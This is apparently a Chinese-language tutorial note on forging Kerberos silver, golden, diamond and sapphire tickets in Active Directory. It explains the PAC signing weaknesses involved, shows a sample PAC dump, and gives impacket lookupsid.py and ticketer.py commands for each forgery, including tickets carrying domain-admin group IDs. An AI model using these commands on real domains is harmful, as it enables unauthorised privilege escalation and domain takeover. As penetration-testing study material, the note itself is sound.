目录

白银票据

白银票据需要满足以下条件:
1.获取一个具有SPN的账户的NT HASH或者key
2.提供服务的主机对访问该SPN的PAC中用krbtgt签名的部分不会做验证,或者该SPN账户具有SeTcbPrivilege的权限(内建服务账户默认不做验证,如SYSTEM)

当满足上述条件后就可以伪造PAC来达到任意账户对该服务的完全访问权限,原理是PAC是用service account的凭证和KRBTGT账户的凭证双重签名的,并且PAC还会被用service account的凭证加密。但是某些服务并不会验证KRBTGT的签名部分,因此我们就可以伪造PAC.并且构造正确的加密结果,进而伪造高权限的ST。

PAC的结构大致长这样:

example
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
AuthorizationData item
ad-type: AD-Win2k-PAC (128)
Type: Logon Info (1)
PAC_LOGON_INFO: 01100800cccccccce001000000000000000002006a5c0818...
Logon Time: Aug 17, 2018 16:25:05.992202600 Romance Daylight Time
Logoff Time: Infinity (absolute time)
PWD Last Set: Aug 16, 2018 14:13:10.300710200 Romance Daylight Time
PWD Can Change: Aug 17, 2018 14:13:10.300710200 Romance Daylight Time
PWD Must Change: Infinity (absolute time)
Acct Name: pixis
Full Name: pixis
Logon Count: 7
Bad PW Count: 2
User RID: 1102
Group RID: 513
GROUP_MEMBERSHIP_ARRAY
Referent ID: 0x0002001c
Max Count: 2
GROUP_MEMBERSHIP:
Group RID: 1108
Attributes: 0x00000007
.... .... .... .... .... .... .... .1.. = Enabled: The enabled bit is SET
.... .... .... .... .... .... .... ..1. = Enabled By Default: The ENABLED_BY_DEFAULT bit is SET
.... .... .... .... .... .... .... ...1 = Mandatory: The MANDATORY bit is SET
GROUP_MEMBERSHIP:
Group RID: 513
Attributes: 0x00000007
.... .... .... .... .... .... .... .1.. = Enabled: The enabled bit is SET
.... .... .... .... .... .... .... ..1. = Enabled By Default: The ENABLED_BY_DEFAULT bit is SET
.... .... .... .... .... .... .... ...1 = Mandatory: The MANDATORY bit is SET
User Flags: 0x00000020
User Session Key: 00000000000000000000000000000000
Server: DC2016
Domain: HACKNDO
SID pointer:
Domain SID: S-1-5-21-3643611871-2386784019-710848469 (Domain SID)
User Account Control: 0x00000210
.... .... .... ...0 .... .... .... .... = Don't Require PreAuth: This account REQUIRES preauthentication
.... .... .... .... 0... .... .... .... = Use DES Key Only: This account does NOT have to use_des_key_only
.... .... .... .... .0.. .... .... .... = Not Delegated: This might have been delegated
.... .... .... .... ..0. .... .... .... = Trusted For Delegation: This account is NOT trusted_for_delegation
.... .... .... .... ...0 .... .... .... = SmartCard Required: This account does NOT require_smartcard to authenticate
.... .... .... .... .... 0... .... .... = Encrypted Text Password Allowed: This account does NOT allow encrypted_text_password
.... .... .... .... .... .0.. .... .... = Account Auto Locked: This account is NOT auto_locked
.... .... .... .... .... ..1. .... .... = Don't Expire Password: This account DOESN'T_EXPIRE_PASSWORDs
.... .... .... .... .... ...0 .... .... = Server Trust Account: This account is NOT a server_trust_account
.... .... .... .... .... .... 0... .... = Workstation Trust Account: This account is NOT a workstation_trust_account
.... .... .... .... .... .... .0.. .... = Interdomain trust Account: This account is NOT an interdomain_trust_account
.... .... .... .... .... .... ..0. .... = MNS Logon Account: This account is NOT a mns_logon_account
.... .... .... .... .... .... ...1 .... = Normal Account: This account is a NORMAL_ACCOUNT
.... .... .... .... .... .... .... 0... = Temp Duplicate Account: This account is NOT a temp_duplicate_account
.... .... .... .... .... .... .... .0.. = Password Not Required: This account REQUIRES a password
.... .... .... .... .... .... .... ..0. = Home Directory Required: This account does NOT require_home_directory
.... .... .... .... .... .... .... ...0 = Account Disabled: This account is NOT disabled

整个部分都是可以伪造的,并且在TGT和ST中都会存在,但是在白银票据中我们只能伪造ST,因为TGT的PAC部分是用KRBTGT的凭证加密的,我们没有办法构造加密后的内容。

纵观攻击的步骤,我们全程是不和DC交互的,而是直接伪造ST和service请求服务,伪造的是ST,并且局限于只具有泄露密钥的服务账户的完整权限。

UNIX命令:

1
2
3
4
5
6
7
8
9
#impacket script
# Find the domain SID
lookupsid.py -hashes 'LMhash:NThash' 'DOMAIN/DomainUser@DomainController' 0

# with an NT hash
python ticketer.py -nthash "$NT_HASH" -domain-sid "$DomainSID" -domain "$DOMAIN" -spn "$SPN" "username"

# with an AES (128 or 256 bits) key
python ticketer.py -aesKey "$AESkey" -domain-sid "$DomainSID" -domain "$DOMAIN" -spn "$SPN" "username"

黄金票据

伪造黄金票据只需要具有KRBTGT的NT HASH,得到这个后就可以构造正确的加密后的PAC和签名,然后就可以任意伪装自己的成员关系,并且获取对应的TGT。也就是说,黄金票据能够使我们获取对DC的完全控制

UNIX命令:

1
2
3
4
5
6
7
8
9
10
11
12
#impacket script
# Find the domain SID
lookupsid.py -hashes 'LMhash:NThash' 'DOMAIN/DomainUser@DomainController' 0

# Create the golden ticket (with an RC4 key, i.e. NT hash)
ticketer.py -nthash "$krbtgtNThash" -domain-sid "$domainSID" -domain "$DOMAIN" "randomuser"

# Create the golden ticket (with an AES 128/256bits key)
ticketer.py -aesKey "$krbtgtAESkey" -domain-sid "$domainSID" -domain "$DOMAIN" "randomuser"

# Create the golden ticket (with an RC4 key, i.e. NT hash) with custom user/groups ids
ticketer.py -nthash "$krbtgtNThash" -domain-sid "$domainSID" -domain "$DOMAIN" -user-id "$USERID" -groups "$GROUPID1,$GROUPID2,..." "randomuser"

关于白银和黄金票据

钻石票据

钻石票据和黄金票据的区别就是黄金票据并不会真实地去请求TGT,整个TGT是完全伪装的,事先定好的,但是钻石票据是先正常请求TGT然后修改,之后用KRBTGT的long-term key重新加密和签名,钻石票据需要AES256 KEY

UNIX命令

1
2
#impacket script
ticketer.py -request -domain "$DOMAIN" -user "$USER" -password "$PASSWORD" -nthash 'krbtgt/service NT hash' -aesKey 'krbtgt/service AES key' -domain-sid 'S-1-5-21-...' -user-id '1337' -groups '512,513,518,519,520' 'baduser'

NOTE:NO_AUTH_DATA_REQUIERED必须被设置为false,否则不会TGT或者ST不会有PAC

蓝宝石票据

蓝宝石票据仍然需要KRBTGT的密钥,它的目的是获取一份高权限用户的PAC然后替换自己真实的PAC,用该密钥签名和加密修改后的TGT,之后就可以获取高权限。蓝宝石票据的好处是更难检测出来,因为PAC是真实存在的

蓝宝石票据利用的是S4U2self和U2U,实际上被集成在一个TGS-REQ中,步骤是:
1.获取任意一个用户的NT hash,可以没有SPN(S4U2SELF不要求SPN,但是S4U2proxy要求)
2.用AS-REQ请求该用户的TGT
3.发起TGS-REQ,其中 PA_FOR_USER 包含要伪装的用户,sname是知道NT HASH的账户的saacountname,additional ticket部分是该账号的TGT(之前获取的),ENC-TKT-IN-SKEY 设置为true(这样kdc会用该账户的TGT中包含的session key去加密PAC,我们就可以解密,是false的话则会使用伪装用户的session key,导致无法解密;这是U2U部分)
4.该S4U2self使得服务器返回要伪装用户的ST
5.解密获得伪装用户的PAC
6.把自己(具有NT hash的账户)TGT中的PAC替换成新的,然后用krbtgt的long-term key重新加密和计算签名

附:U2U就是当一个账户A作为client,B作为server的时候,server没有A的NT HASH,因此B要想认证A的身份就需要通过U2U,即A正常请求ST,但是加密部分用的是B的TGT的session key,而不是A的,这样,B就可以解密并且验证ST

UNIX命令:

1
2
3
4
5
ticketer.py -request -impersonate 'domainadmin' \
-domain 'DOMAIN.FQDN' -user 'domain_user' -password 'password' \
-nthash 'krbtgt NT hash' -aesKey 'krbtgt AES key' \
-user-id '1115' -domain-sid 'S-1-5-21-...' \
'baduser'

参考:
1
2